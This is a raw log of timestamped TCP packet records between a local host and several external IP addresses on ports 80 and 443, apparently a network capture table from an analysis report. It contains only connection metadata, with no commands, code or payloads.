Sep 25, 2024 20:50:01.895922899 CEST	49738	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:02.415241957 CEST	49738	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:02.459412098 CEST	443	49738	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:02.509824038 CEST	443	49738	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:02.548015118 CEST	49738	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:02.548037052 CEST	443	49738	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:02.932643890 CEST	49739	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:50:02.932709932 CEST	443	49739	5.75.211.162	192.168.2.5
Sep 25, 2024 20:50:02.932790995 CEST	49739	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:50:02.969563961 CEST	49739	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:50:02.969583035 CEST	443	49739	5.75.211.162	192.168.2.5
Sep 25, 2024 20:50:03.649173021 CEST	443	49738	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:03.649271011 CEST	443	49738	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:03.649471045 CEST	49738	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:03.892997026 CEST	49738	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:03.970036983 CEST	49740	80	192.168.2.5	104.26.12.205
Sep 25, 2024 20:50:03.975053072 CEST	80	49740	104.26.12.205	192.168.2.5
Sep 25, 2024 20:50:03.975178003 CEST	49740	80	192.168.2.5	104.26.12.205
Sep 25, 2024 20:50:03.976325035 CEST	49740	80	192.168.2.5	104.26.12.205
Sep 25, 2024 20:50:03.981635094 CEST	80	49740	104.26.12.205	192.168.2.5
Sep 25, 2024 20:50:05.210412025 CEST	80	49740	104.26.12.205	192.168.2.5
Sep 25, 2024 20:50:05.211035967 CEST	443	49739	5.75.211.162	192.168.2.5
Sep 25, 2024 20:50:05.211117029 CEST	49739	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:50:05.211638927 CEST	80	49740	104.26.12.205	192.168.2.5
Sep 25, 2024 20:50:05.211688995 CEST	49740	80	192.168.2.5	104.26.12.205
Sep 25, 2024 20:50:05.212116957 CEST	80	49740	104.26.12.205	192.168.2.5
Sep 25, 2024 20:50:05.212167025 CEST	49740	80	192.168.2.5	104.26.12.205
Sep 25, 2024 20:50:05.234369040 CEST	49741	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:05.234422922 CEST	443	49741	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:05.234502077 CEST	49741	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:05.234920025 CEST	49741	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:05.234941006 CEST	443	49741	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:05.260237932 CEST	49739	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:50:05.260271072 CEST	443	49739	5.75.211.162	192.168.2.5
Sep 25, 2024 20:50:05.262690067 CEST	49739	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:50:05.262698889 CEST	443	49739	5.75.211.162	192.168.2.5
Sep 25, 2024 20:50:05.828282118 CEST	443	49741	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:05.831847906 CEST	49741	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:05.831911087 CEST	443	49741	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:05.832278967 CEST	49740	80	192.168.2.5	104.26.12.205
Sep 25, 2024 20:50:05.837378025 CEST	80	49740	104.26.12.205	192.168.2.5
Sep 25, 2024 20:50:05.837481022 CEST	49740	80	192.168.2.5	104.26.12.205
Sep 25, 2024 20:50:05.953603029 CEST	443	49741	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:05.954231977 CEST	49741	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:05.954274893 CEST	443	49741	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:06.198544979 CEST	443	49739	5.75.211.162	192.168.2.5
Sep 25, 2024 20:50:06.198616982 CEST	443	49739	5.75.211.162	192.168.2.5
Sep 25, 2024 20:50:06.198620081 CEST	49739	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:50:06.198673964 CEST	49739	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:50:06.239929914 CEST	49739	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:50:06.239978075 CEST	443	49739	5.75.211.162	192.168.2.5
Sep 25, 2024 20:50:06.340439081 CEST	49742	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:50:06.340492964 CEST	443	49742	5.75.211.162	192.168.2.5
Sep 25, 2024 20:50:06.340579987 CEST	49742	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:50:06.346512079 CEST	443	49741	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:06.346616983 CEST	443	49741	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:06.346760988 CEST	49741	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:06.347116947 CEST	49741	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:06.381803989 CEST	49742	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:50:06.381820917 CEST	443	49742	5.75.211.162	192.168.2.5
Sep 25, 2024 20:50:06.403669119 CEST	49743	80	192.168.2.5	104.26.12.205
Sep 25, 2024 20:50:06.408478022 CEST	80	49743	104.26.12.205	192.168.2.5
Sep 25, 2024 20:50:06.408556938 CEST	49743	80	192.168.2.5	104.26.12.205
Sep 25, 2024 20:50:06.408675909 CEST	49743	80	192.168.2.5	104.26.12.205
Sep 25, 2024 20:50:06.413398981 CEST	80	49743	104.26.12.205	192.168.2.5
Sep 25, 2024 20:50:06.895653009 CEST	80	49743	104.26.12.205	192.168.2.5
Sep 25, 2024 20:50:06.923311949 CEST	49744	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:06.923347950 CEST	443	49744	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:06.923573017 CEST	49744	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:06.923806906 CEST	49744	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:06.923821926 CEST	443	49744	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:06.942815065 CEST	49743	80	192.168.2.5	104.26.12.205
Sep 25, 2024 20:50:07.095817089 CEST	443	49742	5.75.211.162	192.168.2.5
Sep 25, 2024 20:50:07.095959902 CEST	49742	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:50:07.185192108 CEST	49742	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:50:07.185210943 CEST	443	49742	5.75.211.162	192.168.2.5
Sep 25, 2024 20:50:07.187794924 CEST	49742	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:50:07.187799931 CEST	443	49742	5.75.211.162	192.168.2.5
Sep 25, 2024 20:50:07.412914991 CEST	443	49744	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:07.479134083 CEST	49744	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:07.479151964 CEST	443	49744	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:07.479408026 CEST	49743	80	192.168.2.5	104.26.12.205
Sep 25, 2024 20:50:07.484654903 CEST	80	49743	104.26.12.205	192.168.2.5
Sep 25, 2024 20:50:07.484735012 CEST	49743	80	192.168.2.5	104.26.12.205
Sep 25, 2024 20:50:07.580158949 CEST	443	49744	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:07.739670038 CEST	49744	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:07.802114010 CEST	443	49742	5.75.211.162	192.168.2.5
Sep 25, 2024 20:50:07.802192926 CEST	443	49742	5.75.211.162	192.168.2.5
Sep 25, 2024 20:50:07.802191973 CEST	49742	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:50:07.802247047 CEST	49742	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:50:07.873862982 CEST	49742	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:50:07.873922110 CEST	443	49742	5.75.211.162	192.168.2.5
Sep 25, 2024 20:50:07.883285046 CEST	49744	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:07.883304119 CEST	443	49744	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:08.079947948 CEST	443	49744	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:08.080039024 CEST	443	49744	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:08.080189943 CEST	49744	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:08.125963926 CEST	49744	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:08.256546974 CEST	49745	80	192.168.2.5	45.132.206.251
Sep 25, 2024 20:50:08.261636019 CEST	80	49745	45.132.206.251	192.168.2.5
Sep 25, 2024 20:50:08.261785030 CEST	49745	80	192.168.2.5	45.132.206.251
Sep 25, 2024 20:50:08.262001991 CEST	49745	80	192.168.2.5	45.132.206.251
Sep 25, 2024 20:50:08.262001991 CEST	49745	80	192.168.2.5	45.132.206.251
Sep 25, 2024 20:50:08.266834021 CEST	80	49745	45.132.206.251	192.168.2.5
Sep 25, 2024 20:50:08.266855001 CEST	80	49745	45.132.206.251	192.168.2.5
Sep 25, 2024 20:50:08.267057896 CEST	80	49745	45.132.206.251	192.168.2.5
Sep 25, 2024 20:50:08.267121077 CEST	80	49745	45.132.206.251	192.168.2.5
Sep 25, 2024 20:50:08.961921930 CEST	49746	443	192.168.2.5	104.21.58.182
Sep 25, 2024 20:50:08.961972952 CEST	443	49746	104.21.58.182	192.168.2.5
Sep 25, 2024 20:50:08.962045908 CEST	49746	443	192.168.2.5	104.21.58.182
Sep 25, 2024 20:50:08.963412046 CEST	49746	443	192.168.2.5	104.21.58.182
Sep 25, 2024 20:50:08.963419914 CEST	443	49746	104.21.58.182	192.168.2.5
Sep 25, 2024 20:50:09.426733971 CEST	443	49746	104.21.58.182	192.168.2.5
Sep 25, 2024 20:50:09.426810980 CEST	49746	443	192.168.2.5	104.21.58.182
Sep 25, 2024 20:50:09.451001883 CEST	49746	443	192.168.2.5	104.21.58.182
Sep 25, 2024 20:50:09.451014042 CEST	443	49746	104.21.58.182	192.168.2.5
Sep 25, 2024 20:50:09.451268911 CEST	443	49746	104.21.58.182	192.168.2.5
Sep 25, 2024 20:50:09.552365065 CEST	49746	443	192.168.2.5	104.21.58.182
Sep 25, 2024 20:50:09.666618109 CEST	49746	443	192.168.2.5	104.21.58.182
Sep 25, 2024 20:50:09.666640997 CEST	49746	443	192.168.2.5	104.21.58.182
Sep 25, 2024 20:50:09.666738033 CEST	443	49746	104.21.58.182	192.168.2.5
Sep 25, 2024 20:50:10.163539886 CEST	443	49746	104.21.58.182	192.168.2.5
Sep 25, 2024 20:50:10.163638115 CEST	443	49746	104.21.58.182	192.168.2.5
Sep 25, 2024 20:50:10.163746119 CEST	49746	443	192.168.2.5	104.21.58.182
Sep 25, 2024 20:50:10.408875942 CEST	49746	443	192.168.2.5	104.21.58.182
Sep 25, 2024 20:50:10.408906937 CEST	443	49746	104.21.58.182	192.168.2.5
Sep 25, 2024 20:50:10.408921957 CEST	49746	443	192.168.2.5	104.21.58.182
Sep 25, 2024 20:50:10.408929110 CEST	443	49746	104.21.58.182	192.168.2.5
Sep 25, 2024 20:50:11.331510067 CEST	49747	443	192.168.2.5	172.67.132.32
Sep 25, 2024 20:50:11.331562996 CEST	443	49747	172.67.132.32	192.168.2.5
Sep 25, 2024 20:50:11.331671000 CEST	49747	443	192.168.2.5	172.67.132.32
Sep 25, 2024 20:50:11.332175016 CEST	49747	443	192.168.2.5	172.67.132.32
Sep 25, 2024 20:50:11.332182884 CEST	443	49747	172.67.132.32	192.168.2.5
Sep 25, 2024 20:50:11.797579050 CEST	443	49747	172.67.132.32	192.168.2.5
Sep 25, 2024 20:50:11.797674894 CEST	49747	443	192.168.2.5	172.67.132.32
Sep 25, 2024 20:50:11.823148012 CEST	49747	443	192.168.2.5	172.67.132.32
Sep 25, 2024 20:50:11.823174953 CEST	443	49747	172.67.132.32	192.168.2.5
Sep 25, 2024 20:50:11.823518038 CEST	443	49747	172.67.132.32	192.168.2.5
Sep 25, 2024 20:50:11.824940920 CEST	49747	443	192.168.2.5	172.67.132.32
Sep 25, 2024 20:50:11.824965000 CEST	49747	443	192.168.2.5	172.67.132.32
Sep 25, 2024 20:50:11.825016022 CEST	443	49747	172.67.132.32	192.168.2.5
Sep 25, 2024 20:50:13.119736910 CEST	443	49747	172.67.132.32	192.168.2.5
Sep 25, 2024 20:50:13.119832039 CEST	443	49747	172.67.132.32	192.168.2.5
Sep 25, 2024 20:50:13.119894028 CEST	49747	443	192.168.2.5	172.67.132.32
Sep 25, 2024 20:50:13.135782003 CEST	49747	443	192.168.2.5	172.67.132.32
Sep 25, 2024 20:50:13.135799885 CEST	443	49747	172.67.132.32	192.168.2.5
Sep 25, 2024 20:50:13.135812044 CEST	49747	443	192.168.2.5	172.67.132.32
Sep 25, 2024 20:50:13.135818005 CEST	443	49747	172.67.132.32	192.168.2.5
Sep 25, 2024 20:50:13.240147114 CEST	49748	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:13.240190029 CEST	443	49748	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:13.240266085 CEST	49748	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:13.240633965 CEST	49748	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:13.240642071 CEST	443	49748	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:13.732033014 CEST	443	49748	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:13.732111931 CEST	49748	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:13.751365900 CEST	49748	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:13.751375914 CEST	443	49748	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:13.751622915 CEST	443	49748	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:13.752859116 CEST	49748	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:13.752890110 CEST	49748	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:13.752926111 CEST	443	49748	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:14.187586069 CEST	443	49748	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:14.187689066 CEST	443	49748	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:14.187747955 CEST	49748	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:14.227866888 CEST	49748	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:14.227891922 CEST	443	49748	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:14.227905035 CEST	49748	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:14.227910995 CEST	443	49748	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:14.444385052 CEST	49749	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:14.444420099 CEST	443	49749	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:14.444533110 CEST	49749	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:14.444956064 CEST	49749	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:14.444971085 CEST	443	49749	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:14.923579931 CEST	443	49749	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:14.923784971 CEST	49749	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:14.934014082 CEST	49749	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:14.934037924 CEST	443	49749	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:14.934398890 CEST	443	49749	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:14.935710907 CEST	49749	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:14.940635920 CEST	49749	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:14.940749884 CEST	443	49749	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:15.397574902 CEST	443	49749	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:15.397685051 CEST	443	49749	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:15.399406910 CEST	49749	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:15.697922945 CEST	49749	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:15.697922945 CEST	49749	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:15.697953939 CEST	443	49749	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:15.697966099 CEST	443	49749	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:16.081981897 CEST	49750	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:16.082094908 CEST	443	49750	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:16.082206011 CEST	49750	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:16.082592964 CEST	49750	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:16.082628965 CEST	443	49750	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:17.454336882 CEST	443	49750	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:17.454437017 CEST	49750	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:17.466048002 CEST	49750	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:17.466094017 CEST	443	49750	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:17.466484070 CEST	443	49750	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:17.467865944 CEST	49750	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:17.467926979 CEST	49750	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:17.467964888 CEST	443	49750	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:17.933876991 CEST	443	49750	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:17.933993101 CEST	443	49750	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:17.934257030 CEST	49750	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:18.258358955 CEST	49750	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:18.258440018 CEST	443	49750	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:18.486921072 CEST	49751	443	192.168.2.5	104.21.58.182
Sep 25, 2024 20:50:18.486984968 CEST	443	49751	104.21.58.182	192.168.2.5
Sep 25, 2024 20:50:18.487065077 CEST	49751	443	192.168.2.5	104.21.58.182
Sep 25, 2024 20:50:18.487427950 CEST	49751	443	192.168.2.5	104.21.58.182
Sep 25, 2024 20:50:18.487448931 CEST	443	49751	104.21.58.182	192.168.2.5
Sep 25, 2024 20:50:18.948204994 CEST	443	49751	104.21.58.182	192.168.2.5
Sep 25, 2024 20:50:18.948307991 CEST	49751	443	192.168.2.5	104.21.58.182
Sep 25, 2024 20:50:18.986852884 CEST	49751	443	192.168.2.5	104.21.58.182
Sep 25, 2024 20:50:18.986898899 CEST	443	49751	104.21.58.182	192.168.2.5
Sep 25, 2024 20:50:18.987247944 CEST	443	49751	104.21.58.182	192.168.2.5
Sep 25, 2024 20:50:18.988497019 CEST	49751	443	192.168.2.5	104.21.58.182
Sep 25, 2024 20:50:18.988528967 CEST	49751	443	192.168.2.5	104.21.58.182
Sep 25, 2024 20:50:18.988605976 CEST	443	49751	104.21.58.182	192.168.2.5
Sep 25, 2024 20:50:19.429841042 CEST	443	49751	104.21.58.182	192.168.2.5
Sep 25, 2024 20:50:19.429986000 CEST	443	49751	104.21.58.182	192.168.2.5
Sep 25, 2024 20:50:19.430247068 CEST	49751	443	192.168.2.5	104.21.58.182
Sep 25, 2024 20:50:19.481331110 CEST	49751	443	192.168.2.5	104.21.58.182
Sep 25, 2024 20:50:19.481374979 CEST	443	49751	104.21.58.182	192.168.2.5
Sep 25, 2024 20:50:19.481391907 CEST	49751	443	192.168.2.5	104.21.58.182
Sep 25, 2024 20:50:19.481400967 CEST	443	49751	104.21.58.182	192.168.2.5
Sep 25, 2024 20:50:19.569434881 CEST	49752	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:19.569492102 CEST	443	49752	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:19.569591045 CEST	49752	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:19.570262909 CEST	49752	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:19.570300102 CEST	443	49752	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:20.056303024 CEST	443	49752	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:20.056407928 CEST	49752	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:20.118412018 CEST	49752	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:20.118472099 CEST	443	49752	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:20.118963003 CEST	443	49752	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:20.163640022 CEST	49752	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:20.163640976 CEST	49752	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:20.163835049 CEST	443	49752	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:20.661658049 CEST	443	49752	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:20.661788940 CEST	443	49752	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:20.661895990 CEST	49752	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:20.946321964 CEST	49752	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:20.946415901 CEST	443	49752	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:20.946459055 CEST	49752	443	192.168.2.5	188.114.97.3
Sep 25, 2024 20:50:20.946479082 CEST	443	49752	188.114.97.3	192.168.2.5
Sep 25, 2024 20:50:21.273864985 CEST	49754	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:21.273962021 CEST	443	49754	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:21.274068117 CEST	49754	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:21.274471045 CEST	49754	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:21.274497986 CEST	443	49754	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:21.783932924 CEST	443	49754	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:21.784126043 CEST	49754	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:21.814743042 CEST	49754	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:21.814825058 CEST	443	49754	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:21.815187931 CEST	443	49754	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:21.818938017 CEST	49754	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:21.818978071 CEST	49754	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:21.819055080 CEST	443	49754	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:23.258498907 CEST	443	49754	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:23.258616924 CEST	443	49754	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:23.258723974 CEST	49754	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:23.648317099 CEST	49754	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:23.648401976 CEST	443	49754	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:23.648441076 CEST	49754	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:23.648466110 CEST	443	49754	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:23.851525068 CEST	49756	443	192.168.2.5	104.21.77.130
Sep 25, 2024 20:50:23.851588011 CEST	443	49756	104.21.77.130	192.168.2.5
Sep 25, 2024 20:50:23.851690054 CEST	49756	443	192.168.2.5	104.21.77.130
Sep 25, 2024 20:50:23.852046967 CEST	49756	443	192.168.2.5	104.21.77.130
Sep 25, 2024 20:50:23.852061987 CEST	443	49756	104.21.77.130	192.168.2.5
Sep 25, 2024 20:50:24.724729061 CEST	443	49756	104.21.77.130	192.168.2.5
Sep 25, 2024 20:50:24.724829912 CEST	49756	443	192.168.2.5	104.21.77.130
Sep 25, 2024 20:50:24.770651102 CEST	49756	443	192.168.2.5	104.21.77.130
Sep 25, 2024 20:50:24.770672083 CEST	443	49756	104.21.77.130	192.168.2.5
Sep 25, 2024 20:50:24.771704912 CEST	443	49756	104.21.77.130	192.168.2.5
Sep 25, 2024 20:50:24.774175882 CEST	49756	443	192.168.2.5	104.21.77.130
Sep 25, 2024 20:50:24.774229050 CEST	49756	443	192.168.2.5	104.21.77.130
Sep 25, 2024 20:50:24.774348974 CEST	443	49756	104.21.77.130	192.168.2.5
Sep 25, 2024 20:50:25.304663897 CEST	443	49756	104.21.77.130	192.168.2.5
Sep 25, 2024 20:50:25.304924011 CEST	443	49756	104.21.77.130	192.168.2.5
Sep 25, 2024 20:50:25.305124998 CEST	49756	443	192.168.2.5	104.21.77.130
Sep 25, 2024 20:50:25.334817886 CEST	49756	443	192.168.2.5	104.21.77.130
Sep 25, 2024 20:50:25.334850073 CEST	443	49756	104.21.77.130	192.168.2.5
Sep 25, 2024 20:50:25.335002899 CEST	49756	443	192.168.2.5	104.21.77.130
Sep 25, 2024 20:50:25.335010052 CEST	443	49756	104.21.77.130	192.168.2.5
Sep 25, 2024 20:50:25.432056904 CEST	49759	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:50:25.432094097 CEST	443	49759	104.102.49.254	192.168.2.5
Sep 25, 2024 20:50:25.432173967 CEST	49759	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:50:25.432595015 CEST	49759	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:50:25.432609081 CEST	443	49759	104.102.49.254	192.168.2.5
Sep 25, 2024 20:50:26.088458061 CEST	443	49759	104.102.49.254	192.168.2.5
Sep 25, 2024 20:50:26.088680029 CEST	49759	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:50:26.266895056 CEST	49759	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:50:26.266918898 CEST	443	49759	104.102.49.254	192.168.2.5
Sep 25, 2024 20:50:26.267198086 CEST	443	49759	104.102.49.254	192.168.2.5
Sep 25, 2024 20:50:26.275325060 CEST	49759	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:50:26.315435886 CEST	443	49759	104.102.49.254	192.168.2.5
Sep 25, 2024 20:50:26.680537939 CEST	443	49759	104.102.49.254	192.168.2.5
Sep 25, 2024 20:50:26.680562019 CEST	443	49759	104.102.49.254	192.168.2.5
Sep 25, 2024 20:50:26.680628061 CEST	443	49759	104.102.49.254	192.168.2.5
Sep 25, 2024 20:50:26.680636883 CEST	49759	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:50:26.680669069 CEST	443	49759	104.102.49.254	192.168.2.5
Sep 25, 2024 20:50:26.680697918 CEST	49759	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:50:26.680697918 CEST	49759	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:50:26.680727959 CEST	49759	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:50:26.783313036 CEST	443	49759	104.102.49.254	192.168.2.5
Sep 25, 2024 20:50:26.783332109 CEST	443	49759	104.102.49.254	192.168.2.5
Sep 25, 2024 20:50:26.783399105 CEST	49759	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:50:26.783417940 CEST	443	49759	104.102.49.254	192.168.2.5
Sep 25, 2024 20:50:26.783493042 CEST	49759	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:50:26.783493042 CEST	49759	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:50:26.788583994 CEST	443	49759	104.102.49.254	192.168.2.5
Sep 25, 2024 20:50:26.788676023 CEST	443	49759	104.102.49.254	192.168.2.5
Sep 25, 2024 20:50:26.788724899 CEST	49759	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:50:26.788726091 CEST	49759	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:50:26.802711010 CEST	49759	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:50:26.802740097 CEST	443	49759	104.102.49.254	192.168.2.5
Sep 25, 2024 20:50:26.803060055 CEST	49759	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:50:26.803067923 CEST	443	49759	104.102.49.254	192.168.2.5
Sep 25, 2024 20:50:27.029485941 CEST	49762	443	192.168.2.5	104.21.51.224
Sep 25, 2024 20:50:27.029576063 CEST	443	49762	104.21.51.224	192.168.2.5
Sep 25, 2024 20:50:27.029664993 CEST	49762	443	192.168.2.5	104.21.51.224
Sep 25, 2024 20:50:27.030313969 CEST	49762	443	192.168.2.5	104.21.51.224
Sep 25, 2024 20:50:27.030353069 CEST	443	49762	104.21.51.224	192.168.2.5
Sep 25, 2024 20:50:27.511523008 CEST	443	49762	104.21.51.224	192.168.2.5
Sep 25, 2024 20:50:27.511627913 CEST	49762	443	192.168.2.5	104.21.51.224
Sep 25, 2024 20:50:27.558142900 CEST	49762	443	192.168.2.5	104.21.51.224
Sep 25, 2024 20:50:27.558206081 CEST	443	49762	104.21.51.224	192.168.2.5
Sep 25, 2024 20:50:27.558486938 CEST	443	49762	104.21.51.224	192.168.2.5
Sep 25, 2024 20:50:27.559747934 CEST	49762	443	192.168.2.5	104.21.51.224
Sep 25, 2024 20:50:27.559791088 CEST	49762	443	192.168.2.5	104.21.51.224
Sep 25, 2024 20:50:27.559835911 CEST	443	49762	104.21.51.224	192.168.2.5
